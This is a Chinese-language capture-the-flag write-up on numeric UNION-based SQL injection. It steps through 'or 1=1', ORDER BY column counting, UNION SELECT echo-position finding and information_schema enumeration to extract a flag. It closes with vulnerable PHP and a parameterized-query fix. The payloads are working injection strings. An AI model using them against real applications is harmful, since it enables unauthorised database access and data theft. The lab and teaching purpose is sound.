ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

【好靶场】报错注入-sql注入-数字型

【好靶场】报错注入-sql注入-数字型 【好靶场】报错注入-sql注入-数字型【好靶场】报错注入-sql注入-数字型前言一、前置核心原理1. 数字型注入的本质输入直接进入数值表达式2. 为什么本题不需要 -- 注释3. 本次注入三大核心语法作用4. UNION 注入硬性规则二、靶场信息与测试目标1. 靶场基础信息2. 本文测试目标三、漏洞验证与目标数据读取过程步骤 1使用 OR 11 确认是否存在数字型注入步骤 2使用 ORDER BY 判断字段数量步骤 3使用 UNION SELECT 寻找回显位步骤 4查询当前数据库名称步骤 5枚举当前数据库中的数据表步骤 6枚举 flag 表的字段名步骤 7读取目标数据四、把每一步串成完整的 SQL 执行逻辑五、常见失败点与排查思路1. UNION SELECT 列数不一致2. 把数字型注入误写成字符型注入3. 表名或字段名没有加引号4. 当前数据库名或表名并非预设值5. 页面只显示原始记录或没有显示新增行6. 数据库类型与预期不一致六、漏洞根因与修复建议1. 根因将外部输入直接拼接到 SQL 文本2. 正确修复使用参数化查询3. 输入校验只能作为补充4. 不把数据库报错直接返回给用户5. 数据库账户遵循最小权限总结【好靶场】报错注入-sql注入-数字型前言在 SQL 注入学习中很多人习惯直接复制 Payload 读取目标数据却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入必须建立一套标准化探测流程判断可控输入、确认参数类型、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。本次实验为数字型 SQL 注入页面具备 SQL 错误回显且支持UNION联合查询。这里同样需要做一次关键概念纠正本题只依靠报错完成漏洞探测核心数据利用方式为UNION联合查询不属于通过数据库报错直接取数的报错注入利用。本次实验仅用于个人 Web 安全知识复盘实验在本地隔离、自建的授权靶场中完成全程离线不存在对外攻击、公网资产测试等行为。后端原始 SQL 语句将用户输入的用户 ID 直接拼接到查询中无过滤、无预编译存在完整注入风险SELECT*FROMusersWHEREid用户可控输入下文将严格按照从 0 到 1 的完整复现流程记录。每一步均包含探测意图、输入 Payload、页面现象和原理分析形成可迁移、可复用的注入思维。一、前置核心原理1. 数字型注入的本质输入直接进入数值表达式字符型注入中的参数通常被单引号包裹测试时需要先处理引号闭合而本题的id位于数值表达式中本身没有单引号边界。正常搜索时SQL 结构如下WHEREid8当输入内容为8 or 11后端拼接后的 SQL 为WHEREid8or1111是恒成立条件最终会使整个WHERE条件成立从而返回多条记录。若页面结果确实由一条变为全部或明显更多的记录就说明用户输入已经参与 SQL 语法解析。与字符型注入不同本题的关键特征是数字型参数 → 不需要单引号闭合 → 直接使用数字表达式和 SQL 运算符进行测试2. 为什么本题不需要--注释本题的查询原型是SELECT*FROMusersWHEREid用户可控输入用户输入位于原 SQL 的末尾没有额外的单引号或其他残留内容需要截断。因此下面的 Payload 可以直接构成完整 SQL8 order by 5对应SELECT*FROMusersWHEREid8orderby5只有当真实后端在用户输入后仍拼接了其他固定 SQL 片段时才需要根据实际语句判断是否使用注释符。不能因为字符型题目常用--就机械地把它套用到所有数字型参数中。3. 本次注入三大核心语法作用语法核心作用本题使用场景OR 11通过恒真条件验证输入能否改变原始WHERE逻辑确认数字型参数存在注入可能ORDER BY通过递增排序位置探测原始查询的总列数UNION查询前后字段数量必须一致UNION SELECT拼接自定义查询结果在页面回显需要的数据读取库名、表名、字段名和目标数据information_schemaMySQL 系统元数据表可枚举库、表、字段信息在授权靶场中确认数据库结构4. UNION 注入硬性规则联合查询执行必须满足两个条件前后两条SELECT查询字段数量完全一致对应字段数据类型兼容并且结果能够被页面渲染。经过后续探测本题原始查询返回 5 列因此所有UNIONPayload 都必须严格构造 5 个字段占位UNIONSELECT1,2,要显示的数据,4,5二、靶场信息与测试目标1. 靶场基础信息页面提供一个按用户 ID 搜索的输入框查询结果表格展示以下字段ID、姓名、邮箱、部门、薪资重点在最开始测试前不能仅根据页面展示字段就预设后端 SQL、结果列数、回显位或数据库表结构。这些信息都必须通过后续的正常请求与测试请求对照得出。本题已知的查询原型仅用于帮助理解最终拼接逻辑SELECT*FROMusersWHEREid用户可控输入2. 本文测试目标在不修改、不写入数据库数据的前提下按顺序完成整套验证流程确认是否存在数字型注入 ↓ 探测原始 SQL 查询的列数量 ↓ 定位页面可展示数据的回显位置 ↓ 确认当前数据库名称 ↓ 枚举当前数据库内所有数据表 ↓ 枚举目标表内的字段名 ↓ 读取目标字段内的数据三、漏洞验证与目标数据读取过程步骤 1使用OR 11确认是否存在数字型注入先输入一个正常的用户 ID8页面只返回 ID 为 8 的记录。此时 SQL 可以理解为SELECT*FROMusersWHEREid8然后输入8 or 11服务端拼接后SELECT*FROMusersWHEREid8or11观察页面现象页面返回users表中的多条记录明显多于正常输入8时的结果。观察与分析id 8只匹配特定 ID 的记录11永远成立OR两侧只要有一侧为真整个条件即为真页面结果扩大说明or 11没有被当作普通文本而是被数据库当作 SQL 逻辑解析。结论可以初步确认这是一个位于数值表达式位置的数字型 SQL 注入点。下一步动作既然输入能够改变 SQL 逻辑就继续用ORDER BY判断原查询返回了多少列为UNION SELECT做准备。步骤 2使用ORDER BY判断字段数量先输入8 order by 5最终 SQLSELECT*FROMusersWHEREid8orderby5观察页面现象页面没有 SQL 报错仍能正常显示查询结果。然后将数字增加 1输入8 order by 6最终 SQLSELECT*FROMusersWHEREid8orderby6观察页面现象页面出现数据库错误。例如 MySQL / MariaDB 常见提示可能为Unknown column 6 in ORDER BY为什么能这样判断ORDER BY 5表示按结果集的第 5 列排序。若结果集中确实存在第 5 列数据库可以正常执行ORDER BY 6则请求按不存在的第 6 列排序因此会失败。ORDER BY 5 正常 ORDER BY 6 报错 ↓ 原查询结果集共有 5 列结论原查询返回5 列。因此构造联合查询时UNION SELECT后面也必须提供 5 个字段。下一步动作用1到5作为标记值进行联合查询确认页面的回显位置。注意ORDER BY 6的本质通常不是普通语法错误而是引用了超出结果集范围的排序列。不同靶场可能统一包装错误提示判断时应以“5 正常、6 稳定失败”的对照现象为准。步骤 3使用UNION SELECT寻找回显位输入内容8 union select 1,2,3,4,5最终 SQLSELECT*FROMusersWHEREid8UNIONSELECT1,2,3,4,5页面回显搜索结果表格中新增一行内容ID姓名邮箱部门薪资12345分析这条语句能够成功执行说明联合查询列数与原查询匹配。页面字段与联合查询位置的关系也已经明确ID姓名邮箱部门薪资12345理论上 5 个位置都可以显示标记值。为了后续记录统一本文选择第 2 位“姓名”承载查询结果。将需要显示的数据放在第 2 个表达式其余位置使用常量占位即可。结论第 2 列是稳定、清晰的回显位后续统一使用UNIONSELECT1,要显示的数据,3,4,5下一步动作先查询当前正在使用的数据库名称再通过information_schema.tables枚举表名。步骤 4查询当前数据库名称输入内容8 union select 1,database(),3,4,5最终 SQLSELECT*FROMusersWHEREid8UNIONSELECT1,database(),3,4,5页面回显姓名列显示当前数据库名称sql_injection_lab分析database()是 MySQL / MariaDB 中用于返回当前数据库名的函数。后续查询元数据时将数据库名作为table_schema的限定条件可以避免把其他数据库中的同名表或字段混入结果。结论当前数据库为sql_injection_lab下一步动作使用information_schema.tables枚举该数据库中的数据表。步骤 5枚举当前数据库中的数据表输入内容8 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schemadatabase()最终 SQLSELECT*FROMusersWHEREid8UNIONSELECT1,GROUP_CONCAT(table_name),3,4,5FROMinformation_schema.tablesWHEREtable_schemadatabase()页面回显姓名列显示users,flagPayload 语法拆解讲解information_schema.tables保存数据库中表的元数据而table_schemadatabase()把范围限制为当前正在使用的数据库避免枚举到其他库的表名。GROUP_CONCAT(table_name)会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录也能一次看到多个表名。结论当前库中至少存在users flag其中flag的命名具有明显的靶场题目特征优先查看其字段结构。下一步动作在information_schema.columns中查询flag表的字段名。为了避免其他数据库存在同名表查询时同样要限制当前库。步骤 6枚举flag表的字段名输入内容8 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schemadatabase() and table_nameflag最终 SQLSELECT*FROMusersWHEREid8UNIONSELECT1,GROUP_CONCAT(column_name),3,4,5FROMinformation_schema.columnsWHEREtable_schemadatabase()ANDtable_nameflag页面回显姓名列显示id,flag分析information_schema.columns记录每张表的列信息。这里已经确认id通常为记录编号flag字段名直接表明其内容是本题的目标数据。结论目标数据位于flag表的flag字段中。下一步动作从flag表读取该字段内容。步骤 7读取目标数据输入内容8 union select 1,group_concat(flag),3,4,5 from flag最终 SQLSELECT*FROMusersWHEREid8UNIONSELECT1,GROUP_CONCAT(flag),3,4,5FROMflag页面回显姓名列直接显示目标字符串flag{799040f4aa8a48d7bd93ebc7b0ea96f2}上面的值仅表示回显形式。请以本地隔离靶场实际返回的数据为准不应将示例值当作固定结果。为什么这里仍使用GROUP_CONCAT()如果flag表只有一条记录直接写flag也可以使用GROUP_CONCAT(flag)的好处是即使有多条记录页面仍会将结果拼接为一条字符串返回适合只有一个固定回显位的场景。最终结论漏洞利用链路完整闭合输入可控 → 数值条件可被篡改 → 联合查询成功 → 数据库结构可枚举 → 可读取目标字段。至此本地靶场验证完成。四、把每一步串成完整的 SQL 执行逻辑以最后一步为例搜索框输入8 union select 1,group_concat(flag),3,4,5 from flag服务端拼接后核心 SQL 逻辑可以理解为SELECT*FROMusersWHEREid8UNIONSELECT1,GROUP_CONCAT(flag),3,4,5FROMflag其中8作为数值表达式参与原始WHERE id 8条件UNION SELECT把第二段查询的结果追加到页面结果中GROUP_CONCAT(flag)放在第 2 位所以显示在“姓名”列本题用户输入位于 SQL 末尾因此不需要额外用注释截断尾部语句。整个过程可以概括为8 or 11 返回多条记录 ↓ 确认数字型参数可控 ↓ ORDER BY 5 正常、ORDER BY 6 失败 ↓ 确认原查询有 5 列 ↓ UNION SELECT 1,2,3,4,5 确认回显位 ↓ database() 确认当前数据库 ↓ information_schema 查询表名与字段名 ↓ 从 flag.flag 读取目标内容五、常见失败点与排查思路1.UNION SELECT列数不一致例如已经确认原查询有 5 列却误写成UNIONSELECT1,2,3数据库会拒绝联合查询。必须保证两个SELECT的列数一致。本题固定使用 5 个位置1,回显内容,3,4,52. 把数字型注入误写成字符型注入本题的参数位于数值位置通常可以直接从数字开始构造8 union select 1,2,3,4,5不需要像字符型注入那样先提交单引号闭合 union select ...如果把字符型 Payload 直接套到数字型参数中反而可能造成 SQL 语法错误。3. 表名或字段名没有加引号查询元数据时字符串条件必须写成字符串table_nameflag而不是table_nameflag后者会把flag当作标识符解析可能导致报错或查询不到结果。4. 当前数据库名或表名并非预设值sql_injection_lab、flag都只是本地靶场中通过枚举得到的结果不是所有练习题的固定名称。遇到不同环境时应先查询database()再通过information_schema.tables和information_schema.columns根据实际回显替换数据库、表名和字段名。5. 页面只显示原始记录或没有显示新增行有些页面会让id 8的原始记录排在联合查询结果前面也有页面会分页、过滤空值或隐藏部分字段。此时应重点观察新增行中是否出现1、2、3、4、5等标记值而不是只看第一条结果。6. 数据库类型与预期不一致本文的database()、information_schema、group_concat()均以 MySQL / MariaDB 靶场为例。若实验环境是 SQL Server、Oracle、PostgreSQL 等其他数据库函数、元数据表和语法会不同不能直接照搬。六、漏洞根因与修复建议1. 根因将外部输入直接拼接到 SQL 文本漏洞代码的核心问题通常类似$id$_GET[id];$sqlSELECT id, name, email, department, salary FROM users WHERE id $id;$result$pdo-query($sql);此时$id不再只是“数据”而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是UNION等关键字都无法从根本上解决这个问题。2. 正确修复使用参数化查询以 PDO 为例应把 SQL 结构与用户数据分开$idfilter_input(INPUT_GET,id,FILTER_VALIDATE_INT);if($idfalse||$idnull||$id1){http_response_code(400);exit(invalid id);}$sqlSELECT id, name, email, department, salary FROM users WHERE id :id;$stmt$pdo-prepare($sql);$stmt-execute([:id$id]);$rows$stmt-fetchAll(PDO::FETCH_ASSOC);在参数化查询中$id会作为一个值绑定而不会参与 SQL 语法解析。即使用户提交8 or 11也只会被识别为不符合整数格式的无效输入而不会改变查询逻辑。3. 输入校验只能作为补充ID 字段应只接受合理范围内的正整数因此可以额外做类型、范围和权限校验。但必须明确输入校验 ≠ SQL 注入的根本修复 预编译 / 参数绑定 必须具备的根本修复输入校验用于保证业务数据质量参数化查询用于隔离代码与数据防止注入。4. 不把数据库报错直接返回给用户本题之所以能快速判断列数是因为页面直接暴露了数据库错误信息。在生产环境中应对用户返回统一、无敏感信息的错误提示将数据库错误写入受保护的服务端日志配合错误追踪系统定位问题避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。这不能替代参数化查询但可以减少信息泄露带来的利用便利。5. 数据库账户遵循最小权限业务连接账号只授予实际业务表所需的最小权限不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞但能够在漏洞出现时缩小可读取、可修改的范围。总结这道题最重要的不是机械记忆 Payload而是建立稳定的判断链输入 8 or 11 返回多条记录 → 证明数值表达式可能可控 ORDER BY 5 正常、ORDER BY 6 失败 → 证明原查询有 5 列 UNION SELECT 1,2,3,4,5 成功回显 → 确认联合查询可用并定位页面输出列 查询 database()、information_schema.tables / columns → 获得当前库、flag 表和 flag 字段 在第 2 个回显位查询 GROUP_CONCAT(flag) → 读取本地靶场中的目标数据对于这类数字型联合注入题始终遵循“先验证、再测列数、再找回显、最后枚举结构与读取数据”的顺序能显著减少盲猜和无效测试。更重要的是从防守角度看所有这些步骤最终都指向同一个根因应用把不可信输入拼进了 SQL 文本。使用参数化查询才是解决该问题的正确方式。
返回列表